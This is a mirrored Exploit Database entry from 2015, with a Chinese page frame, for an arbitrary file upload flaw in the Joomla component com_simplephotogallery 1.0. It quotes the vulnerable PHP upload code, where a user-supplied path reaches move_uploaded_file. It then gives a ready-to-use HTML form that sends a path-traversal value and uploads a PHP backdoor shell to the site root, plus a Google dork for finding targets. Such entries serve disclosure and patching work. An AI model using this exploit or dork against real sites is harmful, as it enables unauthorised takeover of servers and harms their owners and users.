Joomla! Component com_simplephotogallery 1.0 – Arbitrary File Upload

• Exploit Database
• 158 阅读

• 作者： CrashBandicot
  日期： 2015-03-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36373/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33

  ###################################################################### # Exploit Title: Joomla Simple Photo Gallery - Arbitrary File Upload # Google Dork: inurl:com_simplephotogallery # Date: 10.03.2015 # Exploit Author: CrashBandicot @DosPerl # My Github: github.com/CCrashBandicot # Vendor Homepage: https://www.apptha.com/ # Software Link: https://www.apptha.com/category/extension/joomla/simple-photo-gallery # Version: 1 # Tested on: Windows ###################################################################### # Vulnerable File : uploadFile.php # Path : /administrator/components/com_simplephotogallery/lib/uploadFile.php 20. $fieldName = &apos;uploadfile&apos;; 87.$fileTemp = $_FILES[$fieldName][&apos;tmp_name&apos;]; 94. $uploadPath = urldecode($_REQUEST["jpath"]).$fileName; 96.if(! move_uploaded_file($fileTemp, $uploadPath)) # Exploit : <form method="POST" action="http://localhost/administrator/components/com_simplephotogallery/lib/uploadFile.php" enctype="multipart/form-data" > <input type="file" name="uploadfile"><br> <input type="text" name="jpath" value="..%2F..%2F..%2F..%2F" ><br> <input type="submit" name="Submit" value="Pwn!"> </form> # Name of Shell Show you after Click on Pwn!, Name is random (eg : backdoor__FDSfezfs.php) # Shell Path : http://localhost/backdoor__[RandomString].php